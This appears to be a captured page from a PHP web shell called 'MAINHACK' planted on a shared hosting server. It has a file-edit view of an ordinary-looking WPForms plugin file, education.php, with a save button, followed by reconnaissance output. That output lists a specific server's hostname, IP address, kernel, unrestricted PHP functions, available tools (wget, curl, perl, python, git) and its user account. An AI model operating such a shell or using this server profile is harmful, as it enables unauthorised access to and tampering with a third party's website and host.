[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: education.php
<?php /** * Helpers functions for the Education pages. * * @since 1.8.2.2 */ /** * Get the button. * * @since 1.8.2.2 * * @param string $action Action to perform. * @param bool $plugin_allow Is plugin allowed. * @param string $path Plugin file. * @param string $url URL for download plugin. * @param array $utm UTM parameters. */ function wpforms_edu_get_button( $action, $plugin_allow, $path, $url, $utm ) { // If the user is not allowed to use the plugin, show the upgrade button. if ( ! $plugin_allow ) { wpforms_edu_get_upgrade_button( $utm ); return; } $status = 'inactive'; $data_plugin = $path; $title = esc_html__( 'Activate', 'wpforms-lite' ); $can_install = wpforms_can_install( 'addon' ); if ( $action === 'install' ) { $status = 'download'; $data_plugin = $url; $title = esc_html__( 'Install & Activate', 'wpforms-lite' ); } ?> <?php if ( $action === 'install' && ! $can_install ) : ?> <div class="wpforms-notice wpforms-error"> <p><?php esc_html_e( 'Plugin installation is disabled for this site.', 'wpforms-lite' ); ?></p> </div> <?php else : ?> <button class="status-<?php echo esc_attr( $status ); ?> wpforms-btn wpforms-btn-lg wpforms-btn-blue wpforms-education-toggle-plugin-btn" data-type="addon" data-action="<?php echo esc_attr( $action ); ?>" data-plugin="<?php echo esc_attr( $data_plugin ); ?>"> <i></i><?php echo esc_html( $title ); ?> <?php endif; ?> <?php } /** * Get the upgrade button. * * @since 1.8.2.2 * * @param array $utm UTM parameters. * @param array $classes Classes. */ function wpforms_edu_get_upgrade_button( $utm, $classes = [] ) { $utm_medium = isset( $utm['medium'] ) ? $utm['medium'] : ''; $utm_content = isset( $utm['content'] ) ? $utm['content'] : ''; $default_classes = [ 'wpforms-btn', 'wpforms-btn-lg', 'wpforms-btn-orange' ]; $default_classes[] = ! wpforms()->is_pro() ? 'wpforms-upgrade-modal' : ''; $btn_classes = array_merge( $default_classes, (array) $classes ); ?> <a href="<?php echo esc_url( wpforms_admin_upgrade_link( $utm_medium, $utm_content ) ); ?>" target="_blank" rel="noopener noreferrer" class="<?php echo esc_attr( implode( ' ', array_filter( $btn_classes ) ) ); ?>"> <?php esc_html_e( 'Upgrade to WPForms Pro', 'wpforms-lite' ); ?> </a> <?php }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.3 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624